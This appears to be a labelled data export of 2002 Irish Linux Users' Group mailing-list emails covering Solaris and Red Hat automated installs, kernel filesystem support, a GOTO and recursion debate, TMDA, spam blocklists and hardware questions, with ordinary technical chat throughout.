valen@tuatha.org said: > side, Sun's terminal handling leaves a lot to be desired - it won't > work properly on a Wyse 120+ for instance, no matter what emulation > mode the Wyse is trying to do. hmm... I'm not familiar with wyse stuff, but I only need to use the console when something breaks, then anything capable of something basic like vt100 at 9600 8n1 seems to work . Not sure why you'd need to worry about this much really, just set up jumpstart to install automatically then you don't need to look at the console at all. Cheers, ~Al -- Expressed in this posting are my opinions. They are in no way related to opinions held by my employer, Sun Microsystems. Statements on Sun products included here are not gospel and may be fiction rather than truth. -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 kevin lyda ,ilug@linux.ie,"Tue, 6 Aug 2002 14:13:27 +0100",Re: [ILUG] Sparc Solaris (was: Dell GX260 V Redhat 7.3),"On Tue, Aug 06, 2002 at 02:04:11PM +0100, Niall Brady wrote: > >(guess who inspired them?). pc hardware is dumb, so you'll need to use > >a floppy. otoh, every jumpstart config i've seen required rarp plus > >plugging the new box's ethernet+ip into a file. a kickstart boot can > >just use a dhcp server. > Aye, but it'll still need a /boot/kickstart/$VER/$IP-kickstart won't it > to proceed automatically? [or am I completely off track there?] it's been a while since i did a kickstart install. my memory is that you put a file on a standard redhat boot disk that essentially scripts the install. there are a slew of options - you can have it fetch it's install script from a tftpd server for instance (similar to jumpstart), or it can all be on the floppy. kevin -- kevin@suberic.net that a believer is happier than a skeptic is no more to fork()'ed on 37058400 the point than the fact that a drunken man is happier meatspace place: home than a sober one. the happiness of credulity is a http://ie.suberic.net/~kevin cheap & dangerous quality -- g.b. shaw -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 =?iso-8859-1?q?bryan=20roycroft?= ,ilug@linux.ie,"Tue, 6 Aug 2002 23:19:41 +1000 (EST)",[ILUG] ffs,"has anyone got information on enabling ffs support in the kernel, i was looking around, and information on the subject seems to be sparse. http://digital.yahoo.com.au - Yahoo! Digital How To - Get the best out of your PC! -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Albert White - SUN Ireland ,ilug@linux.ie,"Tue, 06 Aug 2002 14:39:04 +0100",Re: [ILUG] ffs,"Hi, > has anyone got information on enabling ffs support in > the kernel, i was looking around, and information on > the subject seems to be sparse. I have no clue about ffs but... In the 2.4 kernel source Documentation/Configure.help there are various kernel options CONFIG_JFF* that enable it. http://developer.axis.com/software/jffs/ and http://sources.redhat.com/jffs2/ are the URLs cited in that documentation. They have links to mailing lists and archives which may be able to answer more specific questions. If you mean Amiga ffs, then thats selectable in the kernel config also :) Cheers, ~Al -- Expressed in this posting are my opinions. They are in no way related to opinions held by my employer, Sun Microsystems. Statements on Sun products included here are not gospel and may be fiction rather than truth. -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Padraig Brady ,bryan roycroft ,"Tue, 06 Aug 2002 15:00:16 +0100",Re: [ILUG] ffs,"bryan roycroft wrote: > has anyone got information on enabling ffs support in > the kernel, i was looking around, and information on > the subject seems to be sparse. Is this to mount an OS-X partition? The following would be of interest in that case: http://marc.theaimsgroup.com/?l=linux-kernel&m=101198676827824&w=2 summary is you should be able to mount FFS readonly, and the config item probably UFS: [padraig@pixelbeat ~]$ grep UFS /boot/config-2.4.18-3 CONFIG_UFS_FS=m # CONFIG_UFS_FS_WRITE is not set So `modprobe ufs` should work on a standard RH7.3 install? Pdraig. -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 """Matthew French"" ","""Albert White - SUN Ireland""","Tue, 6 Aug 2002 15:58:19 +0100",Re: [ILUG] Sparc Solaris (was: Dell GX260 V Redhat 7.3),"BAD MSG: > And you get a working version of your favourite KDE/Gnome desktop > > instead of DTE, uhm, I mean CDE. > > um.. http://wwws.sun.com/software/star/gnome/ integrated into solaris. Yeah yeah yeah. I tried it (over a year ago) and it sucked like a new vacuum cleaner. Although I expect that it will be a lot better by now. What I would really like to see is Gnome on one of the Sun Ray thin terminals. > Out of curiosity, does `normal fashion` mean that you still have to do the > interactive customisations or is it like Solaris jumpstart where you can > specify everything on the install server, do `boot net - install` go home, and > come in to a fully installed and patched desktop the next morning? Er, I mean normal fashion for a Linux install. This would be distro specific, anyway. I am sure it would be possible to do an automated install with a few script changes. I would not be surprised if Debian does this already. I do know that if you pass extra parameters on the boot command, they are picked up by silo. So: boot disk linux would not prompt for selection but would boot straight through. From there it is a matter of tftp'ing the correct config file and the install would be automatic from there on. > I don't see why this should be a _major problem. The prom (ie the ""ok"" > prompt) > is almost at the hardware level and hence dosent depend on the os so you > should be able to connect to that easily enough. Once the machine is installed > cant you just log in over the network? The network is the computer after all > (sorry couldn't resist!) The problem is that the time between linux booting and when the console tty drivers are started can be a black hole, without error messages or log in prompts. The other problem is that sometimes Linux will drop in to the PROM on shutdown instead of powering off or rebooting. Without a serial cable or keyboard it is not possible to reboot the box without flicking the power switch hidden at the back of the case. I think if the console is ttya/ttyS0 it will drop into PROM. If it is /dev/null then you do not get console messages but the box will shut down properly. - Matthew __________________________________________________ Do You Yahoo!? Everything you'll ever need on one web page from News and Sport to Email and Music Charts http://uk.my.yahoo.com -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Padraig Brady ,Vincent Cunniffe ,"Wed, 07 Aug 2002 13:05:38 +0100",Re: [ILUG] socket latency query,"Vincent Cunniffe wrote: > Does anyone have any practical experience with high-performance socket > code in C++ under Linux, and is there any speed difference between unix > domain sockets, loopback sockets, and a real ethernet interface if all > of the packets are going from one process on the machine to another > process on the same machine? In short yes. The more logic involved the longer the CPU is executing it. I.E. there is more logic executed (including NIC logic) when going down to the metal than when using lo. So how much logic is involved for each type of IPC (why are you limiting yourself to sockets? there are mutexes, shared mem, files, messages...). Anyway the best IPC method to choose is dictated by the data you want to communicate between the processes, as the various IPC mechanisms are tuned for various data types. IBM are running a series comparing doze and Linux IPC mechanisms. The socket (which references the others at the bottom) is here: http://www-106.ibm.com/developerworks/linux/library/l-rt6/?t=gr,Redhat=Sockets The following in google gave useful info also: ""linux IPC mechanisms compared"" Pdraig. -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 """Matthew French"" ",,"Thu, 8 Aug 2002 12:14:09 +0100",Re: [ILUG] slashdot EW Dijkstra humor,"JPL suggested: > Recursion is only truely useful if you have an infinite stack. People > that think they have an infinite stack shouldn't be let near a compiler. Well, when studying engineering the rule of thumb was that infinity was 10 times bigger then the most you could expect to use. Therefore I believe in infinite stack. But I do not feel I am a compiler risk either. So where does this leave me? - Matthew __________________________________________________ Do You Yahoo!? Everything you'll ever need on one web page from News and Sport to Email and Music Charts http://uk.my.yahoo.com -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Dave Wilson ,ilug@linux.ie,"Thu, 08 Aug 2002 12:18:21 +0100",Re: [ILUG] slashdot EW Dijkstra humor,"> Interesting. I've always wondered about things 'considered' to be bad. > Example the GOTO, most languages support a goto of some sort, so are gotos really bad? Oh goodie. My final year project rears its head :-) > Is a loop or a recursive call actually any better than a goto > or is the goto used as a kind of common enemy of > programming syntax Much as I would like to answer an unqualified ""yes"", I must admit: if you already code in a style that makes heavy use of GOTOs, coding in the same style with GOSUBs or function calls does not improve code. Much the same as when the manuals on ""modular coding"" said to write modules that would fit on a single sheet of computer paper, lots of coders proceeded to split their code into arbitrary 60-line chunks. :) However, ""Go-to considered harmful"" points out that to analyse (==debug) code, you need to be able to tell what the point of execution is, and what the values of the variables are at that point. This is an easy(tm) job if the code uses assignment, if(), for() and functions, but not if it uses GOTO. (See http://www.cs.utexas.edu/users/EWD/ewd02xx/EWD215.PDF for the full letter). Despite being one of Dijkstra's brain-damaged children who learned BASIC at an early age :) I never use GOTO anymore (or any of its bastard offspring like break, continue, fudged function calls with sleight of hand in the variables). My code is longer than it might be if I had used GOTO at a critical, handy point. However, code is a bit like networks - you always end up adding bits on where you didn't expect to - and the benefit is felt when another person (like myself but in three months time) is modifying or debugging it and doesn't have to go through the hassle of dealing with the impact of the GOTO. Dave -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Padraig Brady ,kevin lyda ,"Thu, 08 Aug 2002 12:00:04 +0100",Re: [ILUG] slashdot EW Dijkstra humor,"kevin lyda wrote: > speaking of things considered harmful, line lengths of over 80 chars > are considered harmful. cut it out. :-) In fairness he was using webmail > On Thu, Aug 08, 2002 at 11:27:59AM +0100, wintermute wrote: > >>Interesting. I've always wondered about things 'considered' to be bad. >>Example the GOTO, most languages support a goto of some sort, so are >>gotos really bad? > > > if used properly, they actually can make code more readable. but those > proper occasions are quite rare really. it's a good idea to avoid them > since over use of goto will create what niall calls ""write-only code."" Yes a clever term usually (and deservedly) attributed to perl. Of course you can create write-only code in any language. There's even a competition for obfuscated C code which is always worth a look: http://www.es.ioccc.org/main.html Pdraig. p.s. what sort of processing do you do with: kevin+dated+1029235349.f17378@ie.suberic.net -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 """Hunt, Bryan"" ","""'ilug@linux.ie'"" ","Thu, 8 Aug 2002 11:55:36 +0100",RE: [ILUG] slashdot EW Dijkstra humor,"schemers are often slagged of for that sort of thing they ""know the Value of Everything, Cost of Nothing"" did i get that the right way arround ? --B -----Original Message----- From: John P. Looney [mailto:valen@tuatha.org] Sent: 08 August 2002 11:38 To: ilug@linux.ie Subject: Re: [ILUG] slashdot EW Dijkstra humor On Thu, Aug 08, 2002 at 11:27:59AM +0100, wintermute mentioned: > Interesting. I've always wondered about things 'considered' to be bad. > Example the GOTO, most languages support a goto of some sort, so are gotos really bad? Yes. Especially in the languages he was talking about - C, Pascal and Assembler. Goto's can be used well; there are a few used in the kernel code to improve efficency. They are almost required in some languages (like C) where 'break' or 'continue' can't be told how many loops/switches to break out of. But, in general, goto's make a mess of code. > Is a loop or a recursive call actually any better than a goto > or is the goto used as a kind of common enemy of > programming syntax > to make sure people use loops or recursion? > <> Recursion is only truely useful if you have an infinite stack. People that think they have an infinite stack shouldn't be let near a compiler. > Kind of makes you wonder about things considered to be 'good'. For > example people bang on about polymorphism, but is there actually any > advantage in using an overloaded function based on class inheritance? I don't care, to be honest. Kate -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Padraig Brady ,ilug@linux.ie,"Thu, 08 Aug 2002 13:10:37 +0100",[ILUG] Alan Cox doesn't like 2.5 so far!,"Yikes, hope he's not serious! -------- Original Message -------- Subject: Re: [bug, 2.5.29, IDE] partition table corruption? Date: 08 Aug 2002 14:23:53 +0100 From: Alan Cox To: martin@dalecki.de [IDE specific argument snipped] Thank you for reminding me why I've given up on the 2.5 kernel ever working. Fortunately free software is self correcting so the tree can be forked into something workable -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 caolan@csn.ul.ie (Caolan McNamara),ilug@linux.ie,"Thu, 8 Aug 2002 12:54:36 +0100",Re: [ILUG] slashdot EW Dijkstra humor,"On Thu, Aug 08, 2002 at 12:14:09 +0100, Matthew French wrote: > JPL suggested: > > Recursion is only truely useful if you have an infinite stack. People > > that think they have an infinite stack shouldn't be let near a compiler. > > Well, when studying engineering the rule of thumb was that infinity was 10 > times bigger then the most you could expect to use. > > Therefore I believe in infinite stack. I worked on a testharness for (wait for it) petrol pumps some years ago, little embeded controller spoke to its DOS (not exactly the easiest environment to track crashing bugs under) master which logged its piteous whinings. I inherited the dos part of it and worked mostly on creating the other end of it. Near the end of the project we gave it extensive long burnin tests, sadly overnight tests would always crash out for some obscure reason. Tracking it down showed that my predecessor's ""add new entries to the end of its linked list"" function recursively called itself with each following link until the terminating one showed up. Of course it died miserably when it ran out of stack. I'm sure he felt he'd done a good days work when he planted that bomb for me. C. -- Caolan McNamara | caolan@skynet.ie http://www.skynet.ie/~caolan | +353 86 8161184 So much insanity, so little time... -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 kevin lyda ,wintermute ,"Thu, 8 Aug 2002 11:42:27 +0100",Re: [ILUG] slashdot EW Dijkstra humor,"speaking of things considered harmful, line lengths of over 80 chars are considered harmful. cut it out. On Thu, Aug 08, 2002 at 11:27:59AM +0100, wintermute wrote: > Interesting. I've always wondered about things 'considered' to be bad. > Example the GOTO, most languages support a goto of some sort, so are > gotos really bad? if used properly, they actually can make code more readable. but those proper occasions are quite rare really. it's a good idea to avoid them since over use of goto will create what niall calls ""write-only code."" what a wonderful expression. my professors would spend entire lectures explaining that concept, and yet three little words convey it so well. kevin -- kevin@suberic.net that a believer is happier than a skeptic is no more to fork()'ed on 37058400 the point than the fact that a drunken man is happier meatspace place: home than a sober one. the happiness of credulity is a http://ie.suberic.net/~kevin cheap & dangerous quality -- g.b. shaw -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Padraig Brady ,"""'ilug@linux.ie'"" ","Thu, 08 Aug 2002 11:11:29 +0100",[ILUG] slashdot EW Dijkstra humor,"Thought this was funny. In the slashdot thread about EW Dijkstra passing away on tuesday, there was: GOTO Heaven Re:GOTO Heaven I'll bet he gets there by the shortest path. Referring to his ""Goto considered harmful"" etc. Sad to see these people go. 3 others I've noticed lately were: Richard Stevens, Jim Ellis and Jon Postel. Pdraig. -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 """John P. Looney"" ",ilug@linux.ie,"Thu, 8 Aug 2002 11:31:01 +0100",[ILUG] Cobalt question,"Try this little problem on for size: I've installed Redhat 7.3 on a raq3's disk. But fscked if I can get the kernel in /boot/vmlinuz-2.4.18-3 to boot. It's insisting pulling the kernel from ... somewhere else. The old cobalt kernel. I've booted the disk with a redhat rescue CD, and installed grub on the MBR and hda1 & hda2 (just in case). No luck. The cobalt BIOS says ""Booting default method - From disk"". Any ideas how I can get this thing to boot *my* kernel ? Anyone care to guess how the cobalt boot process ? Google seems very quiet on the subject of the cobalt boot process, and what is there doesn't seem to work. Simple stuff like: (how to boot a different kernel) http://list.cobalt.com/pipermail/cobalt-developers/1999-December/022014.html And, on boot: Cobalt:Main Menu> bfd /boot/vmlinuz-2.4.18-3 First stage kernel: Decompressing - done Second stage kernel: Decompressing - done Linux version 2.2.16C28 (konkers@unicron.cobalt.com) Note the descrepancy between what I want to boot, and actually booted. Kate -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 """wintermute"" ",ilug@linux.ie,"Thu, 8 Aug 2002 11:27:59 +0100",Re: [ILUG] slashdot EW Dijkstra humor,"> > Thought this was funny. > In the slashdot thread about > EW Dijkstra passing away on > tuesday, there was: > > GOTO Heaven > Re:GOTO Heaven > I'll bet he gets there by the shortest path. > > Referring to his ""Goto considered harmful"" etc. > > Sad to see these people go. 3 others I've > noticed lately were: Richard Stevens, Jim Ellis > and Jon Postel. > > Pdraig. Interesting. I've always wondered about things 'considered' to be bad. Example the GOTO, most languages support a goto of some sort, so are gotos really bad? Is a loop or a recursive call actually any better than a goto or is the goto used as a kind of common enemy of programming syntax to make sure people use loops or recursion? <> Kind of makes you wonder about things considered to be 'good'. For example people bang on about polymorphism, but is there actually any advantage in using an overloaded function based on class inheritance? Hmm. I'm only laughing on the outside My smile is just skin deep If you could see inside I'm really crying You might join me for a weep. <> -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 """John P. Looney"" ",ilug@linux.ie,"Thu, 8 Aug 2002 11:37:49 +0100",Re: [ILUG] slashdot EW Dijkstra humor,"On Thu, Aug 08, 2002 at 11:27:59AM +0100, wintermute mentioned: > Interesting. I've always wondered about things 'considered' to be bad. > Example the GOTO, most languages support a goto of some sort, so are gotos really bad? Yes. Especially in the languages he was talking about - C, Pascal and Assembler. Goto's can be used well; there are a few used in the kernel code to improve efficency. They are almost required in some languages (like C) where 'break' or 'continue' can't be told how many loops/switches to break out of. But, in general, goto's make a mess of code. > Is a loop or a recursive call actually any better than a goto > or is the goto used as a kind of common enemy of > programming syntax > to make sure people use loops or recursion? > <> Recursion is only truely useful if you have an infinite stack. People that think they have an infinite stack shouldn't be let near a compiler. > Kind of makes you wonder about things considered to be 'good'. For > example people bang on about polymorphism, but is there actually any > advantage in using an overloaded function based on class inheritance? I don't care, to be honest. Kate -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 """Brian O'Donoghue"" ","""'ilug@linux.ie'"" ","Thu, 8 Aug 2002 13:40:30 +0100",RE: [ILUG] slashdot EW Dijkstra humor,">Tracking it down showed that my >predecessor's ""add new entries to the end of its linked list"" function >recursively called itself with each following link until the terminating >one showed up. Of course it died miserably when it ran out of stack. I'm >sure he felt he'd done a good days work when he planted that bomb for >me. /Enter the rant. One thing that really bugs me is when people say things like. ""On the machies we have these days you don't have to worry about writing optimised code"" or ""don't worry about writing things inline, just use a function"" ""Yeah and add a procedure prolog or eight"", I always counter, to be told ""On the machines we have these days....."" Boggle. -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 kevin lyda ,ilug@linux.ie,"Thu, 8 Aug 2002 14:07:45 +0100",Re: [ILUG] slashdot EW Dijkstra humor,"On Thu, Aug 08, 2002 at 12:00:04PM +0100, Padraig Brady wrote: > Yes a clever term usually (and deservedly) attributed to perl. there's no need for perl to be write only. > Of course you can create write-only code in any language. > There's even a competition for obfuscated C code which is always > worth a look: http://www.es.ioccc.org/main.html yes, always fun. it's a good way to learn the little details of c. > p.s. what sort of processing do you do with: > kevin+dated+1029235349.f17378@ie.suberic.net that's a dated address: % tmda-check-address kevin+dated+1029235349.f17378@ie.suberic.net STATUS: VALID EXPIRES: Tue Aug 13 10:42:29 2002 UTC which means anyone can send email to that address with no problem until that date. after that they have to confirm. more info can be found here: www.tmda.net. as an aside, it is possible to filter mail to a mailman mailing list with tmda as well. subscribers can post to the list without a confirm; non-subscribers would need to confirm their posts. kevin -- kevin@suberic.net that a believer is happier than a skeptic is no more to fork()'ed on 37058400 the point than the fact that a drunken man is happier meatspace place: home than a sober one. the happiness of credulity is a http://ie.suberic.net/~kevin cheap & dangerous quality -- g.b. shaw -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 """Ciaran Mac Lochlainn"" ","""Brian O'Donoghue"" , ","Thu, 8 Aug 2002 14:26:32 +0100",Re: [ILUG] slashdot EW Dijkstra humor,"Bod wrote > /Enter the rant. > > One thing that really bugs me is when people say things like. > > ""On the machies we have these days you don't have to worry about > writing optimised code"" or ""don't worry about writing > things inline, just use a function"" That sounds a lot like ""sure programmers aren't needed anymore, don't all the new visual thingies mean anyone can do it""[1], or maybe ""640k should be enough for anyone""[2] > > ""Yeah and add a procedure prolog or eight"", I always counter, > to be told > ""On the machines we have these days....."" > > Boggle. > That's recursion for you. C# [1] This is often followed by ""I know what I'm talking about, I can program HTML but I never need to use it"" [2] Bilge denies he ever said this. -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 """Damian O' Sullivan"" ","""'Albert White - SUN Ireland'"" ,","Fri, 9 Aug 2002 14:32:50 +0100",RE: [ILUG] Sparc Solaris (was: Dell GX260 V Redhat 7.3),"I use gnome here on half a dozen sunray 150 boxen. Been trying to get linux on them for along time with mixed results.. Has anyone succeeded in this? > -> It does work on SunRays. Just install it normally on the > server, the sun > install will make the necessary changes to the dtlogin screen > and you can just > select gnome from there. AFAIK you can do this for any window > manager. But I > don't admin sunray servers so I'm not fully aware of the > issues or exact > requirements. > > Cheers, > ~Al > -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Paul Jakma ,"""Ryan, Shane"" ","Fri, 9 Aug 2002 14:31:52 +0100 (IST)",RE: [ILUG] TMDA (WAS --> slashdot EW Dijkstra humor],"On Fri, 9 Aug 2002, Ryan, Shane wrote: > Is this something along the same line as ORBS? SPEWS isnt it. It lists known spam source IPs and netblocks. (and if an ISP does nothing more than shift a spammer from IP to IP within the ISPs netblock, then the ISPs netblock will be listed.) and there are quite a few ORBS like lists out there - ie known open relay lists. > I remember not so long ago when eircom was put on the ORBS list, > half the ISP's in Europe wouldn't accept mail from my address. Of > course, informing Eircom of this did nothing for about 4 months or > so. shame. get a different ISP so. > IMHO stopping spammers is a great idea but I'd rather have to hit d > or delete rather than have my messages bounced by someone else's > ISP. I'd rather not get spam. sorry. > Regards, > Shane regards, -- Paul Jakma Sys Admin Alphyra paulj@alphyra.ie Warning: /never/ send email to spam@dishone.st or trap@dishone.st -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Philip Reynolds ,ilug@linux.ie,"Fri, 9 Aug 2002 14:50:28 +0100",Re: [ILUG] slashdot EW Dijkstra humor,"Matthew French's [mfrench42@yahoo.co.uk] 65 lines of wisdom included: > Brian O'Donoghue wrote a code fragment: > > For(a=0;a > { > > some_thing_goes_here(); > > > > if(b=strlen(somestring)-4) > > do_something; > > > > }; > > Unfortunately strlen is a relatively expensive operation. If you are using > C++ this is not such a big issue as string.length() can be declared const. > So long as you do not modify the string object, the compiler can do the > caching for you. There's a more simple reason as to why strlen shouldn't be used on the string here, and that's because in future you could actually change the contents of ``somestring'' within the for loop, and be left wondering why the number of iterations are not as you expect. Phil. -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Donncha O Caoimh ,"kevin lyda ,","Fri, 9 Aug 2002 14:55:09 +0100",Re: [ILUG] galeon and keyboard focus...,"I get a different effect. I open new links in a tab, and they ""open in the background"" or the current page still remains selected. Unfortunately the other tab gets the focus. The same happens with pages (re)loading in other tabs -> the current tab loses the keyboard focus which can be very annoying when filling in forms or even when scrolling using the mouse-wheel. Donncha. On Friday 09 August 2002 14:21, kevin lyda wrote: > ok, in a galeon browser window i open a new window by middle-clicking > a link. the window comes up under my mouse. however, keys i type go to > the first window. anyone else have this problem, and did they solve it? > i use sawfish as my wm with sloppy focus. > > kevin -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 kevin lyda ,irish linux users group ,"Fri, 9 Aug 2002 14:21:47 +0100",[ILUG] galeon and keyboard focus...,"ok, in a galeon browser window i open a new window by middle-clicking a link. the window comes up under my mouse. however, keys i type go to the first window. anyone else have this problem, and did they solve it? i use sawfish as my wm with sloppy focus. kevin -- kevin@suberic.net that a believer is happier than a skeptic is no more to fork()'ed on 37058400 the point than the fact that a drunken man is happier meatspace place: home than a sober one. the happiness of credulity is a http://ie.suberic.net/~kevin cheap & dangerous quality -- g.b. shaw -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 """Satelle, StevenX"" ","""Ilug (E-mail)"" ","Fri, 9 Aug 2002 14:59:52 +0100",[ILUG] Digital Cameras,"Has anyone had any experience with using a digital camera with Linux, I'm thinking of buying one. The camera will definitely be a HP camera (Since I work for them and get a company discount) either a photosmart 318 or a photosmart 120 and I would prefer to know before I buy if I can get it to work or not Steven Satelle TAC i606 4372 -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 """David Crozier"" ",,"Fri, 9 Aug 2002 11:43:28 +0100",[ILUG] Anyone know how I could remove a HDD password from an Acer Travelmate 201T?,"Hi folks, I have just taken delivery of three Acer Travelmate laptops from a project we funded which has now ended. Problem is there are HDD passwords on them which I don't have. How could I overwrite these?? Any ideas? I have limited technical and monetry resources here in the new job so can't be buying new HDDs for them. Any Ideas? Dave www.davidcrozier.co.uk -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Donncha O Caoimh ,"""Satelle, StevenX"" ,","Fri, 9 Aug 2002 15:04:07 +0100",Re: [ILUG] Digital Cameras,"If it has a usb cable it'll more than likely work. You just plug it in, load the right modules and mount the camera as another device. You should eject the device after unmounting just to be kind to the camera.. Do a google search and you'll find plenty of info. Donncha. On Friday 09 August 2002 14:59, Satelle, StevenX wrote: > Has anyone had any experience with using a digital camera with Linux, I'm > thinking of buying one. The camera will definitely be a HP camera (Since I > work for them and get a company discount) either a photosmart 318 or a > photosmart 120 and I would prefer to know before I buy if I can get it to > work or not > > Steven Satelle > TAC > i606 4372 -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Waider ,David Crozier ,"Fri, 09 Aug 2002 11:47:54 +0100",Re: [ILUG] Anyone know how I could remove a HDD password from an Acer Travelmate 201T?,"-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 David Crozier wrote: | Hi folks, | | I have just taken delivery of three Acer Travelmate laptops from a project | we funded which has now ended. Problem is there are HDD passwords on them | which I don't have. How could I overwrite these?? Any ideas? I have | limited technical and monetry resources here in the new job so can't be | buying new HDDs for them. | | Any Ideas? | | Dave | | www.davidcrozier.co.uk | Google returns about 1500 hits for the search ""remove acer hard drive password"" Perhaps one of those might help. Here, I'll even quote the search URL: http://www.google.com/search?q=remove%20acer%20hard%20drive%20password&sourceid=mozilla-xul Waider. - -- waider@waider.ie / Yes, it /is/ very personal of me -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iD8DBQE9U53aUXuYo0fJk9MRAhhuAKD9o7vvkLNDcxK4cgMzXLC5HWgc1QCg8afN UBbeKiDH1hBgCxY5+y1Wmes= =ZdI+ -----END PGP SIGNATURE----- -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 """Matthew French"" ","""Brian O'Donoghue"" ","Fri, 9 Aug 2002 10:34:41 +0100",Re: [ILUG] slashdot EW Dijkstra humor,"Brian O'Donoghue wrote a code fragment: > For(a=0;a { > some_thing_goes_here(); > > if(b=strlen(somestring)-4) > do_something; > > }; Unfortunately strlen is a relatively expensive operation. If you are using C++ this is not such a big issue as string.length() can be declared const. So long as you do not modify the string object, the compiler can do the caching for you. I do not think this is possible in C, though? You could write the same code fragment as: ============================ for(a=0,l=strlen(somestring);a","""'ilug@linux.ie'"" ","Fri, 9 Aug 2002 10:27:38 +0100",RE: [ILUG] slashdot EW Dijkstra humor,"> Oops, I tend to feel like that most times! I tend to feel that if we > have extremely good compilation tools, then those tools should be able > to do the inlining and optimisation far better than I could. That's the > theory anyway :) And there's always a tradeoff with inlining between > speed and memory bloat (which may sometimes be no tradeoff if swap > starts getting involved...) Yes and I understand that argument, however. Sometimes I find that if I don't try to write code in the least space possible or for example become lazy and say --Bad style Bool q; If(q) When I should say If(q==true) Or --Bad optimization int a; a=some_function(); if(a) <--which apparently works but is 'bad coding style'. That's what I mean about letting the programming tools take care of the coding.... it's considered 'bad' apparently. Or for example say you are writing a loop that says For(a=0;a> -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 """Ryan, Shane"" ","""Matthew French"" ","Fri, 9 Aug 2002 10:16:18 +0100",RE: [ILUG] TMDA (WAS --> slashdot EW Dijkstra humor],">You could also change your e-mail to a more responsible provider. If >Eircom >are not up to scratch, then use somebody else and make sure you let >Eircom >know why you think they are so useless. You can still keep your old >e-mail >address if you have to. Since have done thanks, unfortunately Eircom have a severe case of 'selective hearing'. It seems that customer comments are only appreciated when they are positive. When I was complaining they also decided that I wasn't a paying subscription customer but an Indigo GoFree one and that if I didn't use Windows that there was obviously something wrong with me (I mean who's ever heard of Linux?). >To suggest that ISP's should not protect themselves against >incompotent >configurations would effectively be a vote in support of SPAM. True, I apologise for that. It was just the way in which Eircom (didn't) deal with the ORBS problem. Regards, Shane -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: 